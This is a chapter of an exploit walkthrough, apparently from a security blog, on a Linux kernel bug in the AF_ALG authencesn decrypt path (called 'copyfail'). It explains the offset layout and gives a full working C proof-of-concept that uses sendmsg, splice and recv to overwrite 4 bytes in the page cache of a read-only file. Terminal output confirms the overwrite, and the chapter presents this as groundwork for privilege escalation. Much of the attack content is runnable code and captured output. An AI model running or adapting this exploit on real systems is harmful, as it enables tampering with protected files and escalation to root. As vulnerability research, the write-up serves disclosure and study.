5 PoC Walkthrough
Before moving to the final exploit, we should first prove the primitive against a harmless lab file. The goal here is not privilege escalation yet. It is simpler:
can a failed
authencesn()decrypt request change 4 bytes in the page cache of a file that userspace opened read-only?
5.1 Lab Target
Create a small read-only file with an obvious marker at the offset we want to corrupt:
python3 - <<'PY'
from pathlib import Path
p = Path("./target.bin").resolve()
data = bytearray(b"A" * 0x3000)
data[0x1234:0x1238] = b"ORIG"
p.write_bytes(data)
p.chmod(0o444)
marker = p.read_bytes()[0x1234:0x1238]
print(f"[+] wrote {p}")
print("[+] marker @ 0x1234:", marker)
PY
ls -li ./target.bin
xxd -g1 -s 0x1220 -l 0x40 ./target.binThe target is a normal regular file with size 0x3000 and read-only permissions. The terminal capture below still shows an older run that used ~/lab/copyfail/target.bin; the PoCs and verification commands in this chapter now use ./target.bin so they can be run from any working directory:
axura@pwnlab:~$ ls -li ~/lab/copyfail/target.bin 1622290 -r--r--r-- 1 axura axura 12288 May 15 23:53 /home/axura/lab/copyfail/target.bin axura@pwnlab:~$ stat ~/lab/copyfail/target.bin File: /home/axura/lab/copyfail/target.bin Size: 12288 Blocks: 24 IO Block: 4096 regular file Device: 8,2 Inode: 1622290 Links: 1 Access: (0444/-r--r--r--) Uid: ( 1000/ axura) Gid: ( 1000/ axura) Access: 2026-05-15 23:53:22.301189474 +0800 Modify: 2026-05-15 23:53:22.301129036 +0800 Change: 2026-05-15 23:53:22.301129036 +0800 Birth: 2026-05-15 23:53:22.300816681 +0800
The marker strin, "ORIG" (hex: 4f 52 49 47), we care about sits at file offset 0x1234:
axura@pwnlab:~$ xxd -g1 -s 0x1220 -l 0x40 ~/lab/copyfail/target.bin 00001220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001230: 41 41 41 41 4f 52 49 47 41 41 41 41 41 41 41 41 AAAAORIGAAAAAAAA 00001240: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001250: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
The file is read-only from userspace, but that does not mean its bytes cannot be cached. Once the file is read or spliced, the kernel may keep its contents in the page cache. The rest of the lab uses this marker to check whether the cached file page changes.
5.2 Offset And Layout Choreography
The PoC succeeds only if the file bytes we want to change are positioned exactly where authencesn() performs its 4-byte scratch write. This section reduces the offset problem to one layout rule:
Target marker must sit at the beginning of the AEAD tag region
5.2.1 Scratch Write Boundary
The vulnerable write uses the destination scatterlist (the dst argument of scatterwalk_map_and_copy() triggered during the esn decrypt path, introduced in 3.4.4) at logical offset:
assoclen + cryptlenIn the authencesn() decrypt path, cryptlen is first reduced by the authentication tag size, so at the moment of the scratch write it means ciphertext length only. Therefore assoclen + cryptlen points to the boundary after AAD || ciphertext, which is also the beginning of the preserved tag tail:
TX input: AAD || ciphertext || tag
RX output: AAD || plaintext
^
|
scratch write starts hereSo the target file bytes must occupy the start of the tag region inside the spliced file segment.
5.2.2 Ciphertext And Tag Window
The selected AEAD transform is:
authencesn(hmac(sha256),cbc(aes))For AEAD decryption, the logical input is:
AAD || ciphertext || tagThe ciphertext part is handled by cbc(aes). AES-CBC works on 16-byte blocks, so the smallest convenient ciphertext/filler region for this lab is one block:
ciphertext/filler = 0x10 bytesThe tag size is separate from CBC. In this PoC we configure a 16-byte AEAD tag:
authsize = 0x10That gives a simple 0x20-byte spliced window:
spliced file segment
════════════════════════════════════════════════════
┌────────────────────────┬────────────────────────┐
│ ciphertext/filler │ tag region │
│ 0x10 bytes │ 0x10 bytes │
└────────────────────────┴────────────────────────┘
0 0x10 0x20
▲
│
overwrite starts hereThis layout is not trying to produce a valid CBC ciphertext. Authentication may still fail. The only requirement for the primitive is that the file-backed bytes occupy the tag-start boundary where authencesn() later writes AAD[4:8].
Visually:
required placement
════════════════════════════════════════════════════
spliced file segment
┌────────────────────────┬──────┬─────────────────┐
│ ciphertext/filler │ ORIG │ remaining tag │
│ validity not required │ 4 B │ bytes │
└────────────────────────┴──────┴─────────────────┘
▲
│
tag start / overwrite start
authencesn overwrites AAD[4:8] here5.2.3 Final Lab Offsets
Before plugging in the numbers, keep the variables straight:
| Variable | Meaning | Lab value |
|---|---|---|
overwrite_file_offset | File offset where the 4-byte overwrite should land | 0x1234 |
authsize | AEAD authentication tag length | 0x10 |
splice_len | Number of bytes spliced from the target file | 0x20 |
splice_file_offset | File offset where the spliced range starts | calculated |
The "ORGIN" marker string is at:
overwrite_file_offset = 0x1234Because the overwrite starts at the beginning of the tag region, the tag must begin at 0x1234. With a 0x10-byte ciphertext/filler block before the tag, the spliced range starts one block earlier:
splice_file_offset = overwrite_file_offset - 0x10Using the general formula:
overwrite_file_offset = splice_file_offset + (splice_len - authsize)
splice_file_offset = overwrite_file_offset - (splice_len - authsize)we get:
overwrite_file_offset = 0x1234
authsize = 0x10
splice_len = 0x20
splice_file_offset = 0x1234 - (0x20 - 0x10)
= 0x1224Visually:
spliced file range
══════════════════════════════════════════════════════════════
splice_file_offset overwrite_file_offset
0x1224 0x1234
│ │
▼ ▼
┌────────────────────────┬──────┬─────────────────────┐
│ ciphertext/filler │ ORIG │ remaining tag bytes │
│ 16 bytes │ 4 B │ 12 bytes │
└────────────────────────┴──────┴─────────────────────┘
▲
│
tag start / overwrite startAfter the scratch write, the first 4 bytes of the tag region should become the controlled value staged in AAD[4:8]:
before: ORIG
after : PWN!5.3 Primitive Shape
At this point, the lab offsets are fixed:
write value target : target.bin[0x1234:0x1238]
splice start : target.bin + 0x1224
splice length : 0x20
auth tag size : 0x10So the remaining job is to express that layout through the syscall interface:
AF_ALGsetup → selectauthencesn(hmac(sha256),cbc(aes))sendmsg()→ stageAAD[4:8]as the 4-byte value to writesplice()→ stage the target file page into theAF_ALGTX pathrecv()→ trigger decrypt and the authencesn scratch write
The following subsections build that PoC from the bottom up: first the UAPI constants, then the transform configuration, then the per-request metadata, and finally the syscall sequence.
5.3.1 UAPI Constants
Before the PoC starts calling socket(), bind(), setsockopt(), and sendmsg(), we need a few constants shared between userspace and the kernel.
UAPI means userspace API. In Linux, UAPI headers define the numbers and structures that userspace programs pass into syscalls. The kernel and userspace must agree on these values. For example, when userspace calls:
socket(AF_ALG, SOCK_SEQPACKET, 0);the value of AF_ALG must match the kernel's socket family number for the crypto socket interface.
Some libc/kernel header combinations may not expose every AF_ALG macro consistently, so in this PoC we define the needed values directly. These are not magic numbers; they come from Linux UAPI headers.
The socket family and socket-option namespace come from AF_ALG and SOL_ALG:
/* include/linux/socket.h */
#define PF_ALG 38
#define AF_ALG PF_ALG
/* include/uapi/asm-generic/socket.h */
#define SOL_ALG 279The AEAD request controls come from include/uapi/linux/if_alg.h:
/* Socket options */
#define ALG_SET_KEY 1
#define ALG_SET_IV 2
#define ALG_SET_OP 3
#define ALG_SET_AEAD_ASSOCLEN 4
#define ALG_SET_AEAD_AUTHSIZE 5
/* Operations */
#define ALG_OP_DECRYPT 0
#define ALG_OP_ENCRYPT 1So the PoC values are:
| Macro | Value | Meaning in this PoC |
|---|---|---|
AF_ALG | 38 | create a kernel crypto socket |
SOL_ALG | 279 | tell setsockopt() / control messages this is an AF_ALG option |
ALG_SET_KEY | 1 | configure the authenc key blob |
ALG_SET_IV | 2 | attach the IV to the request |
ALG_SET_OP | 3 | select encrypt/decrypt for this request |
ALG_SET_AEAD_ASSOCLEN | 4 | tell the kernel how many queued bytes are AAD |
ALG_SET_AEAD_AUTHSIZE | 5 | configure the authentication tag length |
ALG_OP_DECRYPT | 0 | force the decrypt path |
5.3.2 Transform Configuration
Before staging request bytes, the AF_ALG transform socket must be configured with the AEAD properties consumed later by _aead_recvmsg() and crypto_authenc_esn_decrypt().
For this PoC, the transform setup has two important pieces:
- an
authenc-compatible key blob forALG_SET_KEY - a 16-byte AEAD authentication tag length for
ALG_SET_AEAD_AUTHSIZE
5.3.2.1 Key Blob Layout
authencesn(hmac(sha256),cbc(aes)) is a combined AEAD construction. It uses one key for HMAC authentication and another key for AES-CBC encryption. So ALG_SET_KEY cannot pass only a raw AES key; it must pass a packed blob that tells the kernel where the AES key is inside the combined key material.
Before the kernel can run:
authencesn(hmac(sha256),cbc(aes))it needs key material for both inner algorithms:
- auth key → HMAC-SHA256
- enc key → AES-CBC
The kernel does not expect just a raw AES key for the ALG_SET_KEY payload, but to carry:
authentication key || encryption keyThe authenc parser is crypto_authenc_extractkeys():
int crypto_authenc_extractkeys(struct crypto_authenc_keys *keys,
const u8 *key, unsigned int keylen)
{
struct rtattr *rta = (void *)key;
struct crypto_authenc_key_param *param;
/* The key blob must start with a valid rtattr header. */
if (!RTA_OK(rta, keylen))
return -EINVAL;
/* The rtattr must describe authenc key parameters. */
if (rta->rta_type != CRYPTO_AUTHENC_KEYA_PARAM)
return -EINVAL;
/* Read the metadata payload: enckeylen. */
param = RTA_DATA(rta);
keys->enckeylen = be32_to_cpu(param->enckeylen);
/*
* Skip the rtattr + parameter header.
* The remaining bytes are:
*
* auth key || enc key
*/
key += RTA_ALIGN(rta->rta_len);
keylen -= RTA_ALIGN(rta->rta_len);
/* There must be at least enough bytes for the encryption key. */
if (keylen < keys->enckeylen)
return -EINVAL;
/*
* Split the remaining key bytes.
*
* authkey = all bytes before the encryption key
* enckey = last enckeylen bytes
*/
keys->authkeylen = keylen - keys->enckeylen;
keys->authkey = key;
keys->enckey = key + keys->authkeylen;
return 0;
}This means it expects a small metadata header first, followed by the authentication key and encryption key:
key blob passed to ALG_SET_KEY
════════════════════════════════════════════════════
┌──────────┬───────────────────────────┬──────────────┬───────────┐
│ rtattr │ crypto_authenc_key_param │ auth key │ enc key │
│ header │ enckeylen = 16 │ 32 bytes │ 16 bytes │
└──────────┴───────────────────────────┴──────────────┴───────────┘
│ │ │ │
│ │ │ └─ AES-CBC key
│ │ │
│ │ └─ HMAC-SHA256 key
│ │
│ └─ tells parser: last 16 bytes are enc key
│
└─ rta_type = CRYPTO_AUTHENC_KEYA_PARAMFor this PoC, we chose two simple key sizes:
HMAC-SHA256 auth key = 32 bytes
AES-CBC enc key = 16 bytesSo the raw key material is:
32-byte auth key || 16-byte AES keyThat enckeylen = 16 is an integer wrapped by struct crypto_authenc_key_param:
struct crypto_authenc_key_param {
__be32 enckeylen;
};it tells authenc where the AES key starts:
- The last 16 bytes of the key blob are the AES encryption key
- Everything before that, after the metadata header, is treated as the authentication key
So when the kernel sees 48 bytes of raw key material, it automatically computes authkeylen = 48 - 16 = 32.
That produces the payload used by this PoC:
metadata header length
════════════════════════════════════════
sizeof(struct rtattr) = 4
sizeof(struct crypto_authenc_key_param) = 4
rtattr.rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param))
= 4 + 4
= 8
full ALG_SET_KEY blob length
════════════════════════════════════════
┌─────────┬──────────────────────────┬──────────┬──────────┐
│ rtattr │ crypto_authenc_key_param │ auth key │ enc key │
│ 4 bytes │ 4 bytes │ 32 bytes │ 16 bytes │
└─────────┴──────────────────────────┴──────────┴──────────┘
metadata length = 4 + 4 = 8
raw key length = 32 + 16 = 48
total blob len = 8 + 48 = 56 5.3.2.2 Authentication Tag Size
The AEAD tag size is configured separately through ALG_SET_AEAD_AUTHSIZE.
The kernel-side detail is slightly non-obvious. In alg_setsockopt(), ALG_SET_AEAD_AUTHSIZE passes the option length into the family callback:
static int alg_setsockopt(struct socket *sock, int level, int optname,
sockptr_t optval, unsigned int optlen)
{
/*
* Generic socket object -> protocol socket state.
*/
struct sock *sk = sock->sk;
/*
* AF_ALG-specific socket state.
*
* This stores the selected algorithm instance and private
* transform data created earlier by bind().
*/
struct alg_sock *ask = alg_sk(sk);
/*
* AF_ALG family dispatch table.
*
* For salg_type = "aead", this points to the AEAD family callbacks,
* including setkey(), setauthsize(), accept(), etc.
*/
const struct af_alg_type *type;
...
case ALG_SET_AEAD_AUTHSIZE:
...
/*
* Non-obvious convention:
*
* optlen itself is treated as the requested auth tag size.
* The kernel does not read an integer from optval here.
*
* So userspace requests authsize = 0x10 with:
*
* setsockopt(fd, SOL_ALG,
* ALG_SET_AEAD_AUTHSIZE,
* NULL, 0x10);
*/
err = type->setauthsize(
ask->private, // AEAD transform/private state
optlen // requested auth tag size
);
break;
...
}For salg_type = "aead", type->setauthsize resolves to aead_setauthsize():
static int aead_setauthsize(void *private, unsigned int authsize)
{
struct aead_tfm *tfm = private; // the AEAD transform state from ask->private
/*
* Apply the requested tag size to the real crypto_aead object.
*
* In this PoC:
*
* authsize = 0x10
*/
return crypto_aead_setauthsize(
tfm->aead, // selected AEAD transform
authsize // authentication tag size
);
}So to request a 16-byte tag, the PoC passes 0x10 as the fourth argument to setsockopt():
unsigned int authsize = 0x10;
setsockopt(tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, authsize);Notice for
ALG_SET_AEAD_AUTHSIZEused in PoC to be passed foralg_setsockopt(), the 4th argoptlenis the value, not the 3rdoptval.
That same authsize is later used to split the decrypt input:
TX input = AAD || ciphertext || tag
└── authsize bytesand it is the value subtracted in crypto_authenc_esn_decrypt():
cryptlen -= authsize;That configured 0x10 tag size is what makes the desired PoC layout:
[ 0x10-byte ciphertext/filler ][ 0x10-byte tag ]5.3.3 Request Metadata
After accept() returns the operation socket, the request is not just raw bytes. The first sendmsg() also carries AEAD metadata through control messages:
ALG_SET_OP→ select encrypt or decryptALG_SET_IV→ provide IV / nonceALG_SET_AEAD_ASSOCLEN→ tell the kernel how many queued bytes are AAD
These control messages are parsed by af_alg_cmsg_send():
case ALG_SET_IV:
/*
* IV / nonce buffer for this request.
*/
con->iv = (void *)CMSG_DATA(cmsg);
break;
case ALG_SET_OP:
/*
* Per-request operation:
*
* ALG_OP_DECRYPT = 0
* ALG_OP_ENCRYPT = 1
*/
con->op = *(u32 *)CMSG_DATA(cmsg);
break;
case ALG_SET_AEAD_ASSOCLEN:
/*
* Length of the AAD prefix inside the queued input.
*
* The first con->aead_assoclen bytes are authenticated
* but not encrypted/decrypted.
*/
con->aead_assoclen = *(u32 *)CMSG_DATA(cmsg);
break;For the PoC, the used metadata is:
operation = ALG_OP_DECRYPT (0)
assoclen = 8
IV = request IV bufferSo the kernel would interpret the queued input via _aead_recvmsg() (see 3.3.2) as the desired AEAD request buffer layout:
queued TX input
════════════════════════════════════════════════════════════
┌──────────┬──────────────────────┬──────────────────────┐
│ AAD │ ciphertext/filler │ tag │
│ 8 bytes │ 16 bytes │ 16 bytes │
└──────────┴──────────────────────┴──────────────────────┘
0 8 24 40
assoclen ctx->used5.3.4 Write Source Vs Write Target
At this point, the transform and request metadata are ready. The next thing is to keep two byte streams separate:
- write source
- attacker-controlled AAD bytes
AAD[4:8]= "PWN!"
- write target
- spliced file-backed tag region
target.bin[0x1234:0x1238]= "ORIG"
They are prepared through different paths and only meet later inside the kernel.
The normal sendmsg() path supplies the AAD:
AAD
┌────────────┬────────────┐
│ AAD[0:4] │ AAD[4:8] │
│ "AAAA" │ "PWN!" │
└────────────┴────────────┘
▲
│
attacker-controlled source value
for scratch writeThe spliced file path supplies the victim bytes:
spliced file-backed tag region
┌────────────┬─────────────────────┐
│ "ORIG" │ remaining tag bytes │
│ 4 bytes │ 12 bytes │
└────────────┴─────────────────────┘
▲
│
overwrite targetAfter _aead_recvmsg() builds the in-place decrypt request, the destination scatterlist (dst) has this logical shape:
dst logical stream
══════════════════════════════════════════════════════════════
RX output head chained TX tag entry
┌──────────┬───────────────────┐ ┌────────┬──────────────┐
│ AAD │ ciphertext/filler │---▶│ "ORIG" │ tag tail ... │
│ AAAAPWN! │ 16 bytes │ │ victim │ │
└──────────┴───────────────────┘ └────────┴──────────────┘
▲ ▲
│ │
read source for tmp[] write target after sg_next()Then authencesn() performs the ESN shuffle (see 3.4.3):
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);This reads the first 8 bytes of dst, which are the AAD bytes copied into the RX head:
tmp[0] = "AAAA"
tmp[1] = "PWN!"The later scratch write uses tmp + 1:
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);So the final value movement is:
AAD[4:8] = "PWN!"
│
▼
tmp[1]
│
▼
dst at logical offset assoclen + cryptlen
│
▼
chained TX tag entry
│
▼
target.bin page cache: "ORIG" -> "PWN!"So the input we prepare is:
- normal sendmsg input: AAD =
"AAAA" || "PWN!" - spliced file input: file range where the tag region begins at target offset
0x1234, wheretarget.bin[0x1234:0x1238]initially contains "ORIG"
As aforementioned, the decrypt output itself is not the important product here. Authentication may fail. The exploit cares that the internal authencesn() scratch write happens before the error returns.
5.3.5 Syscall Ordering
At syscall level, the PoC only needs to stage two inputs before calling recv():
1. normal AF_ALG input
sendmsg()
└─ controlled AAD
└─ AAD[4:8] = 4-byte value to write
2. spliced page-backed input
splice(file -> pipe)
└─ selected file range enters pipe buffer
splice(pipe -> AF_ALG socket)
└─ selected file range enters AF_ALG TX scatterlist
through MSG_SPLICE_PAGESThen recv() turns those staged inputs into the vulnerable decrypt layout:
recv()
└─ _aead_recvmsg()
└─ builds chained decrypt request
└─ RX output head -> preserved TX tag tail
authencesn decrypt
└─ writes AAD[4:8] at assoclen + cryptlen
└─ scatterwalk crosses into the chained TX tag entryFor the lab marker, the parameters are:
write_value = b"PWN!"
target file = "./target.bin"
target_off = 0x1234
splice_off = 0x1224
splice_len = 0x20
authsize = 0x10Now we are ready for Proof of Concept.
5.4 PoC In C
5.4.1 C PoC
The first PoC is in C since our analysis followed the kernel through C structures and syscalls. This can also be download from my repo as proof-of-concept/copyfail_poc.c:
// copyfail_poc.c
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/if_alg.h>
#include <linux/rtnetlink.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <unistd.h>
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif
#ifndef ALG_SET_IV
#define ALG_SET_IV 2
#endif
#ifndef ALG_SET_OP
#define ALG_SET_OP 3
#endif
#ifndef ALG_SET_AEAD_ASSOCLEN
#define ALG_SET_AEAD_ASSOCLEN 4
#endif
#ifndef ALG_OP_DECRYPT
#define ALG_OP_DECRYPT 0
#endif
#ifndef ALG_SET_AEAD_AUTHSIZE
#define ALG_SET_AEAD_AUTHSIZE 5
#endif
enum {
CRYPTO_AUTHENC_KEYA_UNSPEC,
CRYPTO_AUTHENC_KEYA_PARAM,
};
struct crypto_authenc_key_param {
uint32_t enckeylen;
};
struct af_alg_iv_custom {
uint32_t ivlen;
uint8_t iv[16];
};
static void die(const char *msg)
{
if (!strcmp(msg, "bind(AF_ALG)") && errno == ENOENT) {
fprintf(stderr,
"[!] AF_ALG could not resolve authencesn(hmac(sha256),cbc(aes)).\n"
"[!] Check /proc/crypto and try: sudo modprobe authencesn\n");
}
perror(msg);
exit(EXIT_FAILURE);
}
static void print_marker(const char *label, const char *path, off_t off)
{
int fd;
uint8_t b[4];
fd = open(path, O_RDONLY);
if (fd < 0)
die("open(print marker)");
if (pread(fd, b, sizeof(b), off) != (ssize_t)sizeof(b))
die("pread(marker)");
printf("%s @ 0x%llx = %02x %02x %02x %02x (%.4s)\n",
label, (long long)off, b[0], b[1], b[2], b[3],
(const char *)b);
close(fd);
}
static void create_target_file(const char *path, off_t overwrite_off)
{
int fd;
uint8_t fill = 'A';
uint8_t marker[4] = { 'O', 'R', 'I', 'G' };
off_t i;
fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0644);
if (fd < 0)
die("open(create target)");
for (i = 0; i < 0x3000; i++) {
if (write(fd, &fill, 1) != 1)
die("write(fill target)");
}
if (pwrite(fd, marker, sizeof(marker), overwrite_off) != (ssize_t)sizeof(marker))
die("pwrite(marker)");
/*
* Make the baseline file contents durable first. Otherwise the
* target page may still be dirty from file creation, and
* drop_caches will refuse to evict it during verification.
*/
if (fsync(fd) < 0)
die("fsync(target)");
if (fchmod(fd, 0444) < 0)
die("fchmod(target)");
close(fd);
}
static void configure_aead(int tfm_fd)
{
unsigned int authsize = 0x10;
struct {
struct rtattr rta;
struct crypto_authenc_key_param param;
uint8_t keys[32 + 16];
} keybuf = {
.rta = {
.rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)),
.rta_type = CRYPTO_AUTHENC_KEYA_PARAM,
},
.param = {
.enckeylen = htonl(16),
},
};
memset(keybuf.keys, 0x41, 32);
memset(keybuf.keys + 32, 0x42, 16);
if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_KEY, &keybuf, sizeof(keybuf)) < 0)
die("setsockopt(ALG_SET_KEY)");
if (setsockopt(tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, authsize) < 0)
die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");
printf("[+] AEAD configured: authkey=32, enckey=16, authsize=0x%x\n",
authsize);
}
static void queue_aad(int op_fd, const uint8_t write_value[4])
{
uint8_t aad[8];
uint8_t cbuf[CMSG_SPACE(sizeof(uint32_t)) +
CMSG_SPACE(sizeof(struct af_alg_iv_custom)) +
CMSG_SPACE(sizeof(uint32_t))];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
uint32_t op = ALG_OP_DECRYPT;
uint32_t assoclen = sizeof(aad);
memset(aad, 'A', 4);
memcpy(aad + 4, write_value, 4);
iov.iov_base = aad;
iov.iov_len = sizeof(aad);
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cbuf;
msg.msg_controllen = sizeof(cbuf);
memset(cbuf, 0, sizeof(cbuf));
cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(op));
memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv_custom));
{
struct af_alg_iv_custom *iv =
(struct af_alg_iv_custom *)CMSG_DATA(cmsg);
iv->ivlen = 16;
memset(iv->iv, 0x44, sizeof(iv->iv));
}
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));
memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));
if (sendmsg(op_fd, &msg, MSG_MORE) < 0)
die("sendmsg(AAD)");
printf("[+] AAD queued: assoclen=%u, AAD[4:8]=%.4s\n",
assoclen, (const char *)write_value);
}
int main(void)
{
const char *target = "./target.bin";
const off_t overwrite_off = 0x1234;
const size_t authsize = 0x10;
const size_t splice_len = 0x20;
off_t splice_off = overwrite_off - (splice_len - authsize);
uint8_t write_value[4] = { 'P', 'W', 'N', '!' };
int tfm_fd, op_fd, file_fd;
int pipefd[2];
uint8_t rx[0x1000];
printf("[+] target : %s\n", target);
printf("[+] overwrite : file offset 0x%llx\n", (long long)overwrite_off);
printf("[+] splice : offset=0x%llx len=0x%zx authsize=0x%zx\n",
(long long)splice_off, splice_len, authsize);
printf("[+] write value : %.4s\n", (const char *)write_value);
/*
* 1. Create a harmless read-only lab target.
*/
create_target_file(target, overwrite_off);
print_marker("[+] marker before", target, overwrite_off);
/*
* 2. Open AF_ALG transform socket.
*/
tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (tfm_fd < 0)
die("socket(AF_ALG)");
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))",
};
if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
die("bind(AF_ALG)");
printf("[+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes))\n");
/*
* 3. Configure transform, then accept operation socket.
*/
configure_aead(tfm_fd);
op_fd = accept(tfm_fd, NULL, NULL);
if (op_fd < 0)
die("accept(AF_ALG)");
printf("[+] accepted operation socket: fd=%d\n", op_fd);
/*
* 4. Queue attacker-controlled AAD.
* AAD[4:8] becomes seqno_lo, the 4-byte value to write.
*/
queue_aad(op_fd, write_value);
/*
* 5. Splice target file bytes into a pipe.
* The selected range is [0x1224, 0x1244), so the tag region
* begins at 0x1234.
*/
file_fd = open(target, O_RDONLY);
if (file_fd < 0)
die("open(target)");
if (pipe(pipefd) < 0)
die("pipe");
if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0)
die("splice(file -> pipe)");
printf("[+] splice(file -> pipe): 0x%zx bytes from file offset 0x%llx\n",
splice_len, (long long)(overwrite_off - (splice_len - authsize)));
/*
* 6. Splice the pipe into the AF_ALG operation socket.
* Kernel-side: pipe_buffer -> bio_vec -> MSG_SPLICE_PAGES
* -> AF_ALG TX scatterlist.
*/
if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0)
die("splice(pipe -> AF_ALG)");
printf("[+] splice(pipe -> AF_ALG): 0x%zx bytes\n", splice_len);
/*
* 7. Trigger decrypt.
* Authentication is expected to fail; the scratch write is the point.
*/
if (recv(op_fd, rx, sizeof(rx), 0) < 0)
fprintf(stderr, "recv failed as expected: %s\n", strerror(errno));
else
printf("[+] recv returned data\n");
print_marker("[+] marker after ", target, overwrite_off);
printf("[+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 %s\n", target);
printf("[+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'\n");
printf("[+] then re-read : xxd -g1 -s 0x1220 -l 0x40 %s\n", target);
printf("[+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches\n");
close(file_fd);
close(pipefd[0]);
close(pipefd[1]);
close(op_fd);
close(tfm_fd);
return 0;
}5.4.2 Verification
Compile the C PoC:
gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.cThe PoC creates ./target.bin by itself and places ORIG at 0x1234:
axura@pwnlab:~/lab/copy-fail$ vim copyfail_poc.c axura@pwnlab:~/lab/copy-fail$ gcc -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c axura@pwnlab:~/lab/copy-fail$ ls -li total 32 1587064 -rwxrwxr-x 1 axura axura 17160 May 16 19:42 copyfail_poc 1587063 -rw-rw-r-- 1 axura axura 8595 May 16 19:42 copyfail_poc.c axura@pwnlab:~/lab/copy-fail$ ./copyfail_poc [+] target : ./target.bin [+] overwrite : file offset 0x1234 [+] splice : offset=0x1224 len=0x20 authsize=0x10 [+] write value : PWN! [+] marker before @ 0x1234 = 4f 52 49 47 (ORIG) [+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes)) [+] AEAD configured: authkey=32, enckey=16, authsize=0x10 [+] accepted operation socket: fd=4 [+] AAD queued: assoclen=8, AAD[4:8]=PWN! [+] splice(file -> pipe): 0x20 bytes from file offset 0x1224 [+] splice(pipe -> AF_ALG): 0x20 bytes recv failed as expected: Bad message [+] marker after @ 0x1234 = 50 57 4e 21 (PWN!) [+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 ./target.bin [+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches' [+] then re-read : xxd -g1 -s 0x1220 -l 0x40 ./target.bin [+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches axura@pwnlab:~/lab/copy-fail$ ls -li total 44 1587064 -rwxrwxr-x 1 axura axura 17160 May 16 19:42 copyfail_poc 1587063 -rw-rw-r-- 1 axura axura 8595 May 16 19:42 copyfail_poc.c 1587070 -r--r--r-- 1 axura axura 12288 May 16 19:42 target.bin
After running it once, inspect the marker:
axura@pwnlab:~/lab/copy-fail$ xxd -g1 -s 0x1220 -l 0x40 ./target.bin 00001220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001230: 41 41 41 41 50 57 4e 21 41 41 41 41 41 41 41 41 AAAAPWN!AAAAAAAA 00001240: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001250: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
This confirms the first half of the primitive:
recv()returned an error (Bad message), so the AEAD decrypt operation did not succeed semantically.- Yet
target.bin[0x1234:0x1238]changed fromORIGtoPWN!.
That already proves the overwrite is triggered before the final authentication failure returns to userspace.
To distinguish page-cache corruption from a persistent file write, drop clean cache state and read the same bytes again:
# asks the kernel to reclaim clean page cache, dentries, and inodes
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
# now xxd reads come from disk instead of the previously corrupted cache page
xxd -g1 -s 0x1220 -l 0x40 ./target.binThis cache-vs-disk check only works if the original target.bin page is already clean before the overwrite is triggered. So the PoC first writes the baseline ORIG marker to disk and then calls fsync(), ensuring that a later drop_caches can evict the cached file page instead of keeping it as ordinary dirty file data.
